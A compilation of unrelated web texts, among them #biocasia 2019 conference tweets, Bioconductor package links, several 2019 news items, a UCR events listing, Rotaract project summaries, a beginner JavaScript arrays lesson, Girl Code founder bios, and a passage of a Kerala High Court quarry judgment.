| JovMaksimovic | Cab driver got me to Sydney airport in plenty of time for my flight, despite peak hour traffic. It was the jerkiest ride though - my stomach is still recovering from the g-forces 🤢🤮 #biocasia | 0.9951549 |
| JovMaksimovic | I’ve a great time at #biocasia but it’s nearly time to jet back to Melbourne. Thanks to the organising committee for a fab meeting: @PeteHaitch @trashystats Dario Strbenac and Stephen Pederson 🏆 | 0.9939524 |
| mritchieau | So many cool papers @FertigLab @GenesOfEve and colleagues to learn more about these methods e.g. https://t.co/OsJH622gAo and https://t.co/woblN8CxhC #biocasia https://t.co/7NhkR0zyuG | 0.9934070 |
| brian_gloss | hey #Bioinfosummer #biocasia people (talking about spillover), is it possible to just consider each fluorophore from its distribution across n-dimensions (depending on detectors) and do away with correcting? | 0.9927534 |
| brian_gloss | @CrowellH highlighting the vital importance of a ground truth in evaluating methods especially in emerging technologies #Bioinfosummer #biocasia | 0.9927534 |
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| mritchieau | @paulfharrison introduces us to the ‘False Coverage-statement Rate’ concept which seems like a neat idea. Works with limma, edgeR, DESeq2 differential expression analysis pipelines and can be used in #geneset testing. Slides on topconfects at https://t.co/wbAOqjtCw2 #biocasia https://t.co/tHtpyYPWg9 | 0.9965334 |
| shazanfar | #bioinfosummer #biocasia Elana Fertig @FertigLab presenting work on non-negative matrix factorisation techniques for genomics data. Using the gamma distribution (equiv to sum of exponentials) allows for generalisability as well as reflecting sparsity in the underlying system https://t.co/ZCKtjN8743 | 0.9963609 |
| PeteHaitch | Charity Law, developer of voom, introducing an extension to voom to handle group-specific variance estimation and how she’s thinking about adapting it to scRNA-seq differential expression analysis #biocasia https://t.co/HOguf3wWpl | 0.9961702 |
| PeteHaitch | By constructing ‘psuedobulk’ samples from scRNA-seq data, we can use tried and tested methods for differential expression analysis (limma, edgeR, DESeq2, etc) @CrowellHL benchmarked this approach along with other methods in https://t.co/SMNPfC7iyO #biocasia https://t.co/jZwcPFN13i | 0.9961702 |
| CFlensburg |
FOMO alert! Everyone in bioinformatics and #rstats should have a scroll through the bioconductor #biocasia hashtag from the last couple of days! And Monday next week I’m joining Sydney for the bioinformatics conference #abacbs2019, I might be live-tweeting a bit. :) https://t.co/scPHdyoNcu |
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| PeteHaitch | We’ve had scRNA, CyTOF, and now Hi-C with @HannahCoughlan4 telling us about a gene-oriented analysis approach using limma and edgeR, tools originally developed for differential expression analysis. Absolute workhorses of @Bioconductor #biocasia https://t.co/4ZI4qf6rkD | 0.9959585 |
| mritchieau | @DongXueyi tells us how to analyse #longread @nanopore #RNAseq data using #bioconductor. Schmd1 data (both long and short reads) from @BlewittMarnie lab. New tools still needed for accurate isoform analysis #biocasia https://t.co/rjrExr6jv6 | 0.9957220 |
| PeteHaitch | @paulfharrison advocating for the use of confidence intervals over p-values when reporting differential expression analysis results #biocasia This idea implemented in topconfects @Bioconductor package: https://t.co/8bKQQk0Bg2 Slides: https://t.co/qJqFLwWzbB https://t.co/O3qL6A7Ov7 | 0.9957220 |
| shazanfar | #biocasia #bioinfosummer @trashystats addressing the issue of overplotting of many many coloured points in a scatterplot, with Bioconductor package schex (pron “ess-see-hex” 🤣). Saskia is super cool under the live demo pressure, well done!! https://t.co/mywX9y9MMN | 0.9957220 |
| PeteHaitch | Closing out the first session of #biocasia, we’ve got our first presentation from an undergrad! Kathleen Zeglinski telling us about gmoviz, a package she is developing at @CSL to visualise genome-editing data https://t.co/GsixCMALXD | 0.9954561 |
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| PeteHaitch | Steve Pederson breaking the space-time continuum in 5min talk at #biocasia, reading out a letter to his future self from his past self about the experience of submitting his first @Bioconductor package. Love someone who gets creative for a presentation https://t.co/XfcLxmbZYW | 0.9961702 |
| CrowellHL | Off to 🇦🇺 for some Bioinformatics fun 👩🏻💻, to talk & teach about CyTOF at #BiocAsia / BioInfoSummer in Sydney, and explore other parts of AUS. Stressed, grateful and excited! - Now looking forward to 20h of reading & movies ✈😴 That completes my #BiocBingo 🥳 | 0.9957220 |
| shazanfar | Phenomenal start to Helena Crowell’s @CrowellHL ( @markrobinsonca lab ) #biocasia #bioinfosummer keynote on Differential discovery in high-dimensional cytometry data. Beginning with a timeline of important work in this space by a number of key contributors https://t.co/VStuFvtEMA | 0.9957220 |
| mritchieau | @shazanfar from the @MarioniLab introduces scHOT for flexible analysis of higher-order interactions in #singlecell data: shows us examples of variability, correlation and spatial analysis #biocasia. Code available at https://t.co/p8l2m21jqt https://t.co/41Nbf73QtU | 0.9954561 |
| shazanfar | #biocasia Joshua Ho @joshuawkho presenting Ularcirc (a back-splice event on Circular :D ), circular RNA analysis package available on @Bioconductor https://t.co/jFxiHNhnOg Tutorial video https://t.co/bnZhk3tNCu | 0.9948110 |
| PeteHaitch | Exciting talk by @shazanfar bringing scHOT (https://t.co/1NSzfqWwLe) to spatial transcriptomics, the cool new kid on the single cell block #biocasia https://t.co/4SsGLInsmk | 0.9944145 |
| DiscoverAMSI | The first of the AMSI #BioInfoSummer 2019 joint sessions with #biocasia will start at 1.30pm with 3 workshops to choose from sponsored by @CMRI_AUS on our mass spec analytics day | 0.9944145 |
| PeteHaitch | PuXue Qiao sharing the resources she, along with Ruqian Lyu and @davisjmcc, developed for a 2-day scRNA-seq course https://t.co/sq2q2HgEA6 #biocasia | 0.9934070 |
| shazanfar |
Great talk by Ruqian Lyu @Ruqian_lyu on calculating genetic length from crossover events using COmapR, on Bioconductor! https://t.co/VNTMQBJAj1 #BioInfoSummer #biocasia |
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| mritchieau | Watch the demo of using the Ularcirc #bioconductor package for visualising and analysing circular RNAs at https://t.co/P0ViJ7pi43 #biocasia https://t.co/3olI9ltMST | 0.9927534 |
| One_News_Page | Afghans demand justice amid attempt to probe war crimes at ICC: https://t.co/atyUQAyww8 #biocasia | 0.9927534 |
| PeteHaitch | @haoyyang bringing us home on Day 1 with an overview of software for single-cell ATAC-seq #biocasia https://t.co/RyAq7Zhyhz | 0.9927534 |
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| CATALYST | 1 | 0 | Bioc | bioconductor.org/packages/CATALYST |
| CoGAPS.html | 1 | 0 | Bioc | bioconductor.org/packages/CoGAPS.html |
| muscat | 1 | 0 | Bioc | bioconductor.org/packages/muscat |
| projectR.html | 1 | 0 | Bioc | bioconductor.org/packages/projectR.html |
| scHOT2019 | 1 | 0 | GitHub | marionilab/schot2019 |
| topconfects | 1 | 0 | Bioc | bioconductor.org/packages/topconfects |
| topconfects.html | 1 | 0 | Bioc | bioconductor.org/packages/topconfects.html |
| ttBulk | 1 | 0 | GitHub | stemangiola/ttbulk |
| Ularcirc.html | 1 | 0 | Bioc | bioconductor.org/packages/Ularcirc.html |
| muscat-comparison | NA | NA | GitHub | helenalc/muscat-comparison/blob/master/magl/docs/index.html |
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Remains believed to be UFC fighter’s missing stepdaughter
Officials have “good reason” to believe human remains found in Alabama belong to the missing stepdaughter of a UFC heavyweight fighter.
The remains were found on a county road in Macon County, Lee County district attorney Brandon Hughes told the Associated Press.
“I can confirm that human remains have been found in Macon County on County Road 2 and we have good reason to believe they are that of Aniah Blanchard,” Mr Hughes said.
Police have arrested two people over the disappearance of the 19-year-old, who was last seen on October 23 in Auburn. Her stepfather is UFC fighter Walt Harris.
After she disappeared, her black Honda car was found abandoned more than 50 miles away at an apartment complex in Montgomery, Alabama.
Auburn police detective Josh Mixon said Ms Blanchard’s blood was found in the car and it appeared she had suffered a life-threatening injury.
Mr Mixon said convenience store video footage showed a man buying a beverage look over at Ms Blanchard.
He said sources later identified the man as Ibraheem Yazeed, 29, and a man at the store told investigators he saw Yazeed force Blanchard into her car and drive away.
Police have arrested Yazeed and a second man, 35-year-old Antwain Shamar Fisher, of Montgomery.
In an arrest warrant filed with the court on Monday, police said Fisher helped Yazeed by disposing of evidence and driving him.
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Spotlight
Dance: Step Shoes and Soft Shoes
Colloquium
Wednesday, November 30
4:10–6 p.m.
Dance Department
The music of Adventurer-Composer Stephen Lias
Wednesday, November 30
12:10–1 p.m.
A multimedia talk on Stephan Lias' compositions, many of which were inspired by national parks.Read more
UCR Orchestra and UCR Concert Band
Wednesday, November 30
8–9:30 p.m.
The UCR Concert Band presents gems of the wind band literature, including works by Clare Grundman, Percy Grainger, and a carol setting by Randall Standridge. Read more
Li Ang: From The Lost Garden to Our Relationship with China
Tuesday, November 29
3:40–5 p.m.
Li Ang (李昂) is a world-renowned author from Taiwan who has been writing and publishing for almost five decades. her lecture will highlight her knowledge.Read more
Combined Molecular Imaging & Optical Clearing of Thick Ex-Vivo Biological Tissue
Wednesday, November 30
10:10 a.m.–Noon
Dr. Bernard Choi of UC Irvine will be discussing about the measures his team are taking to improve optical imaging in turbid biological tissues.Read more
UCR Women's Basketball v. Seattle
Saturday, December 10
5 p.m.
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UCR Women's Basketball v. Grand Canyon
Tuesday, November 29
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Trauma, Loss and Transcendence
Thursday, December 1
7–9 p.m.
An event dedicated to the victims and survivors of the San Bernardino mass shooting featuring a sound/video installation and the premiere of works for soprano. Read more
Holiday Choral Concert
Thursday, December 1
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The Chamber Singers perform Schubert's beloved Mass in G accompanied by string orchestra. With American hymnody in great arrangements, and music by Sweelinck, Read more


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Ukraine's SBI sends PGO draft notice of suspicion against Poroshenko
The SBI also drafted a motion seeking the Ukrainian parliament's consent to prosecute Poroshenko.
Ukraine's State Bureau of Investigation (SBI) has sent a draft notice of suspicion against former President Petro Poroshenko to the Prosecutor General's Office (PGO).
"The charge papers have been drafted and sent to the prosecutor's office as part of a pretrial investigation into possible unlawful influence on a competition to select candidates for the appointment of members of the High Council of Justice in March-May 2019," the SBI wrote on Facebook on November 18.
"The document refers to the suspicion of the fifth president of Ukraine of committing criminal offenses under Part 3 of Article 109 and Part 2 of Article 364 of the Criminal Code of Ukraine," it said.
The SBI also sent the PGO a draft motion seeking the Ukrainian parliament's consent to prosecute Poroshenko, who is an incumbent Member of Parliament.
As UNIAN reported earlier, SBI Director Roman Truba said that Poroshenko is a figure in 13 criminal cases and has already failed to show up for 15 interrogations.


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Harry Redknapp reckons Jose Mourinho will receive huge bonus at Tottenham
by Will ButcherHarry Redknapp has told Alan Brazil’s Sports Breakfast Show on TalkSPORT (Wednesday, 7.40am) that Jose Mourinho will receive an enormous £5million bonus if he can deliver Tottenham into the top four this season.
Mourinho has replaced Mauricio Pochettino in the Tottenham dugout after Daniel Levy decided to end Pochettino’s five-and-a-half-year stay at Tottenham, following a very poor start to the 2019-20 campaign.
Spurs sit in 14th place with just three wins from 12 Premier League games. They have been knocked out of the Carabao Cup and though on course to qualify for the Champions League knockout stages, they were beaten 7-2 by Bayern Munich at home.
With almost a third of the Premier League season gone, Mourinho is up against the odds to finish in the top four places and qualify for next season’s Champions League. But Redknapp reckons that if he does, he will be given a £5million bonus.
“If Jose gets Spurs into the Champions League, he’ll cop about £5million. A little incentive to keep him going,” Redknapp said.
TBR’s view – Can Mourinho deliver top-four finish at Tottenham?
For Mourinho to be a success at Tottenham, his first port of call is getting the Spurs players onside. Many players will feel like they have lost a father figure at Spurs in Pochettino, and Mourinho will be tasked with the ‘moving-on’ process.
Re-installing confidence, spending money wisely in January and getting the team selection right is crucial. If any players want to leave Spurs, they should not be given game time – an area where Pochettino went wrong.
There are a few things to consider but if Mourinho gets them right, a top-four finish is on the cards.
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3190 Showcase
Showcasing Events and Projects at Rotaract District 3190
Archive of projects under avenue:
'Community-Service'
Car Swachbins
Rotaract Bangalore Junction partnered with MYM for their Event no. 31- an awareness and community service project “Car Swachbin”. With successfully conducted 30 events; distributing 22,000 bins in Bangalore, 65,000...
Mega Rally on voting Awareness
Voting is not only our right it is our power
Painting of a School
Painting of a School with Rotaract Club of Vijayanagar, painting projects are one that always seems to get us excited.
Summer hair-cut to Orphanage children
Rotaract club of SBMJC-KGF & Asha Beauty Parlour
Organ Donation Awareness Program 3
Organ Donation Awareness - A week long awareness programme highlighting a series of myth vs fact about organ donation. Also guided interested individuals to pledge for organ donation.
Trek For a Cause
Rotaract club of SBMJC KGF organised a mega trek [A Trek for a cause] on 17feb 2019 at Antharagange, KOLAR….
Lunch Party
“The best way to find yourself is to lose yourself in the service of others.” “The best way to not feel hopeless is to get up and do something”.
Cleft Lip Surgery
Rotaract Bangalore Vijayanagar in association with PCMC (trust) initiated a unique community service event of correcting the speech defects caused by Cleft Lip.
Water for birds
Requested fellow rotaractors and club to place a small container filled with water.
Blanket and Food Drive
Rotaract Club of Vidyaranyapura & Rotary Vidyaranyapura with Civil Defence div-13 went around in search of homeless people and makeshift houses where they couldn’t afford any warm clothes or blankets...
Spot Fix - Wall Painting
We took a step to make our city beautiful as it was before. In association with an organisation called the ugly Indian we painted the walls of the ITC Windsor...
Blankets Distribution to Needy
Make a Donation.
Red Wave
Rotaract Bangalore West conducted its Second Wave of Red Wave, an initiative to create awareness about the menstrual hygiene and taboos attached to it.
Kisan Diwas (Zone Ruby Conclave)
This was a zonal conference (Zone Ruby) focused on promoting farmers day and organic farming.
I am Farmer
This projects main focus was to create awareness about farmers, farming and different type of farming like organic farming etc.
Blanket Distribution drive
Blanket Distribution Drive - Helping the homeless in their battle of survival In this freezing December night, the entire city dons their sweaters and rugs ignoring that there are few...
Mission Pawssible - Pet Adoption Drive
Mission Pawssible : Xmas Protocol, a Christmas themed pet adoption drive was successfully conducted by Rotaract Bangalore Junction on the 9th of December in association with Fluffynut at the Domlur...
Utsava
Rotary Utsava is a flagship program of Rotary Vidyaranyapura and is also our joint project.
#Warm2018
Rotaract Bangalore Junction joined Rotaract Club of Alexandria Sporting (Rotaract Clubs of Alexandria and Cairo, District 2451, in Egypt) in their Blanket Drive to distribute 2018 blankets across the world...
Study Tour
Rotaract Vidyaranyapura partnered with Rotaract club of Yelahanka to conduct a study tour for the government school kids.
Art Carnival
On account of Children’s day, an Art Competition was held for School going children of Standard 3 to Standard 10. The information was shared to all the schools in Bangalore...
Diwaglee
This is one of our projects that has always carried joy and light by each and every one, the project name says it all. Diwali, the festival of lights, we...
Diwali awareness
ROTARACT VIDYARANYAPURA In association with CENTRAL POLLUTION CONTROL BOARD & KARNATAKA POLLUTION CONTROL BOARD along with FIRE STATION OFFICERS from Yelahanka Fire Station supported by CIVIL DEFENCE (div 13) did...
Food Drive - Online and Offline Phase
Food drive - Gift a meal (Online phase) is an initiative by Rotaract Bangalore West to spread awareness about the importance of food.
Food drive
It was an initiative by Rotaract Bangalore West.
Traffic Awareness
ROTARACT VIDYARANYAPURA along with CIVIL DEFENCE Div 13 supported Giftabled- an NGO for disabled kids in creating traffic awareness at Koramangala.
AataShaale
Rotaract Bangalore Vijayanagar organized a “Toy Drive” from 14th September 2018 to November 14th 2018.
Awareness to use eco-friendly Ganesha
ROTARACT CLUB OF VIDYARANYAPURA in association with KARNATAKA POLLUTION CONTROL BOARD have spread awareness regarding harmful effects of POP, its role in environmental pollution and encouraged everyone to use Eco-Friendly...
Rally on Human Trafficking
Rotaract club of SBMJC KGF,actively participated in an human awareness program on Human trafficking on 07/07/18 saturday, which intended on spreading the message of “Not trading humans”.
MILAN {Rakhi with Soldiers}
This project was initiated on the occasion of Rakshabandhan on August 25th,2018. The members of Rotaract Club of Bangalore Southwest visited the CMP center.
Swachh bharath Diwas
On the occasion of October 2nd Gandhi jayanthi. lets clean our society by swachh Bharath Diwas.
Adoption of SVR school
ADOPTION OF SCHOOL FOR THE YEAR 2K18-19 We ROTARACT club of SBMJC KGF are happy to share that we have adopted the SVR SCHOOL to educate for the whole Rota...
Sewa Sandwich
This year Is about a million smiles. Any small little deed that we do, knowingly or not, can cause a smile in someone’s face. So imagine what we can do...
Grand Friend V2.0
Grand Friend is an initiative by Rotaract Bangalore West which was organised on the eve of friendship day by at Sree old age home. The rotaractors of RBW planned to...
Bottle Tree Plantation 2.0
An initiative by Rotaract Club of Ulhasnagar Sapna Garden.
Newspaper Collection Drive
Rotaract Bangalore Junction conducted it’s first fundraiser ““The Newspaper collection Drive”” on the 28th and 29th of July 2018.
Save Indiranagar's Trees
Save Indiranagar’s trees was a project that was initiated by Jhatkaa.org to Stop the felling of around 200 trees in Indiranagar for redevelopment of the BDA (Bangalore Development Authority) complex....
Blood Donation Camp (JGI Founder Day)
On the FOUNDERS DAY of JGI group of institutions, Blood donation camp was conducted by RC-SBMJC KGF with the support of KGF civil hospital.
Organ Donation Awareness Program-2
Rotaract Bangalore Junction is working towards making people aware about organ donation.
Organ Donation Awareness Program-1
Rotaract Bangalore Junction is working towards making people aware about organ donation.
Visit to an orphanage
Our visit to Elizabeth Charitable Trust was an amazing experience. Praseela, the caretaker and her family provide a loving home to 30 kids between the age group of 6 to...
Pledge2Protect
This year, the Rotaract Club of Bangalore looks to complement the efforts of our parent Rotary Club, in the space of education. While the mentors focus on creating a brighter...
TransDiamond
Trans Diamond was 5-day long event dedicated to celebrate diversity and be the platform for active citizenship which was held from 6 – 10, December 2017.
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Welcome to Hysteria.
The good kind.
What is Hysteria?
Hysteria is an online editor for making lyrics. Hysteria provides you with a built-in rhyming dictionary free to use, allows you to export lyrics to Genius-style or Musixmatch-style, and if you're using the desktop app, you can even sync lyrics to music files to generate lyric files for media players such as VLC!
Is it complex to use?
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How much does it cost?
Nothing at all - Hysteria Online is completely free to use. There's no pricing model, no trial version, nothing like that. You can just pick it up and get to writing lyrics. If you'd like to use the desktop app, you can get it on itch.io for just $1.99. The desktop app comes in both Neutralino (less compatibility, but much more lightweight) and Electron (way more compatible, but much heavier) ports.
Is there an account system?
Currently, Hysteria is in alpha and has no account system. This means that if you're gonna write lyrics using Hysteria, you will unfortunately have to do it in one go. This will change in the future and Hysteria will have cloud saving - but that's just not a possibility at that moment.


Lecture: Arrays
What is an array?
An array in JavaScript is a data structure that contains an ordered collection of elements. Each element is numbered starting at 0
, this is called the index.
Remember how variables were like labeled boxes? Imagine if we lined up a bunch of boxes next to each other, and now we can use how far they are from the "first" box (let's assume the first box is the one on the far left) as their label. An array is a numbered list of variables.
var myFirstArray = []
var anArrayWithNumbersInIt = [1, 1, 2, 3, 5, 8, 13, 21]
var anArrayWithStringsInIt = ["pizza", "bagel", "pho", "bao", "curry"]
var anArrayWithRandomStuff = ["generally", 100, "don't", 200, "do", 300, "this"]
You can use console.log(myArray)
to inspect the contents of an array.
Don't be afraid to log anything and everything to better understand what's going on
in your code.
To read data from an array we use the square bracket syntax: array[index]
to get a value out of an array at the given index.
console.log("first element: " + anArrayWithNumbersInIt[0])
console.log("second element: " + anArrayWithNumbersInIt[1])
console.log("third element: " + anArrayWithNumbersInIt[2])
console.log("21st element: " + anArrayWithNumbersInIt[20]) // what happens?
To write data to an array, we use the same syntax but include the =
assignment operator we learned earlier.
anArrayWithNumbersInIt[0] = -1
anArrayWithNumbersInIt[1] = -2
anArrayWithNumbersInIt[2] = -3
anArrayWithNumbersInIt[20] = -21 // What happens?
It's good to understand what happens in weird cases like the last line above, however you should almost never do that, and when you do it is often a bug.
Arrays have methods and properties. These are accessed via the .
operator. The .
operator is used on all JavaScript objects to interact and get data out of the object. We will learn more about JavaScript objects in the Access Code program, for this workshop the only objects we will discuss are Arrays and Functions.
What's the difference between a method and a property? A method is code while a property is a value (just like other variables we've discussed so far.)
var fruits = ["Banana", "Orange", "Apple", "Mango"]
console.log("The length of fruits is " + fruits.length) // 4
fruits.push("Papaya")
console.log("The length of fruits is " + fruits.length) // 5
You can find a great tutorial (including some advanced topics about Objects that we won't cover in this workshop) here at w3schools. The array reference documentation at w3schools is extremely helpful as well. Go there to look up the different methods and properties on arrays. Note the only useful property is length
, but it's a very important one!


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Ineke is the founder of Girl Code. With a Masters in New Media and a background in Gender Studies, she has always been fascinated by both code and equality. With Girl Code she can combine both.
I think the world of code is unnecessarily divided. And because I feel knowing how to code gives you superpowers, I think more women should be learning and doing it.
Because she doesn't only wants to write about tech and code anymore, but build it herself, she is putting her money where her mouth is and started the Full-Stack Web Development with JavaScript course by NYCDA at BSSA in September 2016.
Katja is also a founder of Girl Code. Being a web developer who made a shift from studying and teaching human languages, she believes there is a huge gender gap in the programming field. She feels this must be bridged by inspiring more women to join this profession.
It must become less obvious that girls choose the humanities over mathematics, and vice versa.
By giving talks, organizing events, and mentoring others, Katja hopes to raise awareness of the often unsconsious predisposition of women not to choose a living in this male-dominated industry.
Kristin studied Mathematics and Artificial Intelligence at the University Twente and the University of Amsterdam. She is passionate about coding, because it enables her to create everything she can possibly think of. And she thinks of a lot!.
I've always been and felt like one of the guys.  I noticed that being one of the then only three women at the office programming. That was my reason to organize Girl Code.
In the meantime it has become her personal mission to close the gender gap in the world of code as a whole. Kristin is a back-end developer at Q42 and works on awesome projects for Philips hue.


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IN THE HIGH COURT OF KERALA AT ERNAKULAM PRESENT THE HONOURABLE MR. JUSTICE DEVAN RAMACHANDRAN THURSDAY, THE 10TH DAY OF OCTOBER 2019 / 18TH ASWINA, 1941 WP(C).No.25986 OF 2019(W) PETITIONERS: 1 DIAMOND ACTION COUNCIL, MANEED, REPRESENTED BY ITS JOINT CONVENOR K.G.MOHANAN, AGED 58 YEARS, S/O.K.M.GOVINDAN,REVATHY BHAVAN,MANEED P.O-686 664. 2 MATHAI T.P., (DIAMOND ACTION COUNCIL ACTIVIST MEMBER), S/O. PAILY, THEKKEDATHU HOUSE, MANEED P. O., PIN - 686664. 3 KUMARAN T. V., AGED 63 YEARS, (DIAMOND ACTION COUNCIL ACTIVIST MEMBER), S/O.VALLON, MURIKADAMATTATHIL HOUSE, MANEED P.O. - 686 664. SRI.GEORGIE SIMON SRI.BASIL CHANDY VAVACHAN RESPONDENTS: 1 M/S.DIAMOND AGGREGATES MANEED P.O., MANEED VILLAGE, REP. BY ITS MANAGING PARTNER 2 M. P. PRASAD, AGED 52 YEARS MANAGING PARTNER, M/S DIAMOND AGGREGATES, MANEED P.O., MANEED VILLAGE, PIN - 686664. 3 GEOLOGIST, DISTRICT OFFICE, MINING AND GEOLOGY DEPARTMENT, CIVIL STATION, KAKKANAD, COCHIN - 682 030. 4 THE SECRETARY, MANEED GRAMA PANCHAYATH, MINI CIVIL STATION, GANDHI SQUARE, MANEED-686664. 5 THE CHAIRMAN, KERALA STATE POLLUTION CONTROL BOARD, PATTOM P.O., THIRUVANANTHAPURAM - 695004. 6 STATE OF KERALA REP. BY ITS CHIEF SECRETARY, SECRETARIAT, THIRUVANANTHAPURAM - 695001.  JUSTICE DEVAN RAMACHANDRAN THURSDAY, THE 10TH DAY OF OCTOBER 2019 / 18TH ASWINA, 1941 WP(C).No.26250 OF 2019(E) PETITIONER: DIAMOND AGGREGATES, MANEED P O, PIRAVAM - 682309, REPRESENTED BY ITS MANAGING PARTNER, M.P.PRASAD, AGED 62, S/O. PURUSHAN, THIRUNILATH HOUSE, IRIMPANAM P.O. - 682 309.  SRI.SUNU P.JOHN, sc SRI.GEORGIE SIMON SRI.GEORGIE SIMON SRI.PAUL ABRAHAM VAKKANAL, GP, SRI.T.NAVEEN, SC THIS WRIT PETITION (CIVIL) HAVING COME UP FOR ADMISSION ON 10.10.2019, ALONG WITH WP(C).25986/2019(W), THE COURT ON THE SAME DAY DELIVERED THE FOLLOWING: WP(C).25986/2019 & 26250/2019 4 JUDGMENT
These two writ petitions require to be heard together since the essential factual circumstances and attributes presented in them are connected with each other and the reliefs to be granted in one will certainly affect and modulate the reliefs to be granted in the other.
2. W.P(C) No.25986/2019 has been filed by an association of persons who call themselves "Diamond Action Council", Maneed and two of their members, alleging that the quarrying and stone crushing operations being carried on by the first respondent - "M/s.Diamond Aggregates" is causing depredation to nature and poses severe threat to human lives and safety in the area and therefore, prays that the Secretary of the fourth respondent - Maneed Grama Panchayat be directed to take immediate action to stop such activities. The petitioners submit that they have approached the Village Officer through Ext.P3; the Secretary of the Panchayat through Ext.P4; the District Collector, Ernakulam through Ext.P6 and the Pollution Control Board through Ext.P7 against the alleged illegal activities of M/s.Diamond Aggregates but allege that no action has been WP(C).25986/2019 & 26250/2019 5 taken on these representations until now. They, therefore, pray that the respondents be directed to immediately take action to close down the quarry and the stone crusher.
3. While so, it appears that the Maneed Grama Panchayat, presumably on account of the complaints preferred by the petitioners in W.P(C) No.25986/2019 and others, issued a stop memo to M/s.Diamond Aggregates asking them to stop their quarrying activities and the said communication has been challenged by them by filing W.P.(C) No.26250/2019. In the said writ petition, the stop memo issued by the Maneed Grama Panchayat has been produced as Ext.P9 and M/s.Diamond Aggregates say that this has been issued without competence and without any jurisdiction. They, therefore, pray that Ext.P9 in this writ petition be set aside.
4. I have heard Sri.Dinesh R.Shenoy, the learned counsel appearing for M/s.Diamond Aggregates - petitioners in W.P.(C) No.26250/2019; Sri.Georgie Simon, the learned counsel appearing for the petitioners in W.P(C) No.25986/2019; Sri.T.Naveen, the learned standing counsel appearing for the Kerala State Pollution Control Board in both cases; Sri.Sunu P.John, the learned standing counsel for Maneed Grama WP(C).25986/2019 & 26250/2019 6 Panchayat in both cases and the learned Government Pleader appearing for the official respondents in both cases.
5. From the afore narrated facts, it becomes evident that while the petitioners in W.P(C) No.25986/2019 (who will hereinafter be called the 'Action Council') allege that M/s.Diamond Aggregates are operating their quarry and stone crusher illegally; the latter asserts, with equal vehemence that these allegations are completely wrong, since they have all the necessary consents, permissions and licences - including the necessary Environmental Clearance - issued by the competent Authorities.
6. While the Action Council has foundationalised their allegations on certain incidents and events which they have mentioned in the writ petition; M/s.Diamond Aggregates submits that these events and incidents do not have any connection with their activities, since they are operating under strictly controlled atmosphere and as per the stipulations and mandate of the various consents that they have obtained.
7. In fact, Sri.Dinesh Shenoy, the learned counsel appearing for M/s.Diamond Aggregates submits that there is not even a whisper of an allegation by the Action Council in WP(C).25986/2019 & 26250/2019 7 their writ petition that his client has violated the terms of any of the consents, or that any complaints have been preferred with respect to such violations before any competent Authorities. He adds that his client is willing to submit to any enquiry or investigation that this Court may deem fit to order and that they will co-operate with any such enquiry, since they are confident that their activities are well within the parameters of law and guided implicitly by the terms and conditions of the permissions granted to them.
8. When I consider the pleadings available on record in W.P(C) No.25986/2019, the Action Council, in paragraph 3 thereof, has stated as under:
"It is submitted that the quarries are situated in a residential area and the operations are causing nuisance and hardships to the petitioners and other residence. The outburst of explosives and its sounds are intolerable to human brain. The explosions are done by using many electrical dynamites at a time. The petitioners' house walls were broken and damaged and the damages are so visible. Since explosions are made by using electrical dynamites, there are severe vibrations to the earth during the blasting, which resulted in causing cracks to the houses of the petitioners and other people in the locality.
In the explosion pieces of stones are fallen on the roofs of the petitioners' house and courtyards and in their properties. Operations of the quarries are against the provisions of Air (Prevention and Control of Pollution) Act and Noise Pollution Rules. Due to the blasting, water tank of the nearby government school was severely damaged and became useless. Blasting operations are conducted WP(C).25986/2019 & 26250/2019 8 by unskilled workers and is dangerous to people. The respondents have restarted blasting operations and crusher unit on 22.06.2018. Due to the negligence of the respondents, a lady worker in the crusher unit was died on 01.08.2017 and the Piravom police has registered a case as accidental death due to the undue influence of the respondents. As against the illegal acts of the respondents, petitioners and other local people filed complaints before the revenue authorities and they are not ready to consider the complaints. Petitioners have filed complaints before the RDO, Muvattupuzha, District Collector, Ernakulam Pollution Control Board, Mining and Geology Wing, and Maneed Grama Panchayat. But they are no taking any action. Hence the suit is filed. The petitioners have every right to live peacefully in the locality without any fear, threat to life to person and property. The nearly proximities of the quarry is surrounded by many scheduled caste colonies such as Rajeev Gandhi colony, Murukidamattom colony, Keezhethukuzhi colony in which Murukidamattom and Keezhethukuzhi colonies are settlement colonies and Rajeev Gandhi colony is a Panchayat colony have lots of backward schedule caste, tribes are living which have to protected or taken care (sic)."
9. Without meaning to say that any of these allegations are true or otherwise, it is clear that many of the assertions mentioned above are based on possibilities and apprehensions rather than specific instances, especially because the Action Council and the other petitioners seem to be under the impression that the conduct of the quarry and the stone crusher by M/s.Diamond Aggregates causes deleterious consequences to the locality and the nature.
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10. Though I do not intend to cast any aspersion on the bona fides of the Action Council, it is equally true that M/s.Diamond Aggregates are operating under specific licences, consents and permissions granted by the concerned Authorities and therefore, unless they are able to point out instances of violation or unless they are able to establish that such consents, permissions and licence have been obtained by M/s.Diamond Aggregates illegally or unlawfully, I am afraid that an omnibus prayer as sought for by the Action Council in W.P(C) No.25986/2019 - to shut down the quarry - is not possible or prudent for this Court, while it acts under Article 226 of the Constitution of India.
11. That apart, the allegations and counter allegations of the parties are essentially in the realm of factual disputations, into which this Court cannot delve into while exercising writ jurisdiction and I am of the firm view that the Action Council or any other person who has any legitimate grievance against M/s.Diamond Aggregates must approach the competent Authorities in terms of law, rather than seeking a blanket order as has been prayed for by them.
12. The learned Government Pleader, sensing my mind as WP(C).25986/2019 & 26250/2019 10 afore, submitted that M/s.Diamond Aggregates have all licences, consents and permissions as are required to operate their quarry and stone crusher and that the competent officials, including the Geologist will keep a close eye on their operations to ensure that public safety is maintained at all time and that disasters are averted on account of any such activity. He says that the concerned Geologist can always be approached by the Action Council or any other person, if they have any complaint and that in such event, it will be properly taken note of and necessary action taken without any authority.
13. Sri.T.Naveen, the learned standing counsel for the Pollution Control Board, also affirms that as of now, no complaints have been preferred before them by any person and that the Board's officers are always willing and ready to react to any such complaints in terms of law as is required.
14. Interestingly, Sri.Sunu P.John, the learned standing counsel for the Panchayat, submits that his client has taken a decision in principle to shut down all quarries within their territory and that they have, therefore, intimated the Action Council through their communication dated 03.10.2018, a copy of which has been produced on record as Ext.P5 in W.P(C) WP(C).25986/2019 & 26250/2019 11 No.25986/2019, to approach the Geologist appropriately so as to take necessary action against M/s.Diamond Aggregates. He says, therefore, that no further orders may be issued against his client, adding that Ext.P9 stop memo in W.P.(C) No.26250/2019 has been issued taking note of the complaints of the residents of the locality including the Action Council.
15. As I have already indicated above, when M/s.Diamond Aggregates are in possession of all licences and consents as are required in law, it would not be possible for this Court to intervene in their activities as long as it is done legally. However, the most pertinent question is whether they are doing so in compliance of law and whether the official Authorities are vigilant in their approach to ensure that no untoward incidents or violations of law are allowed to take place.
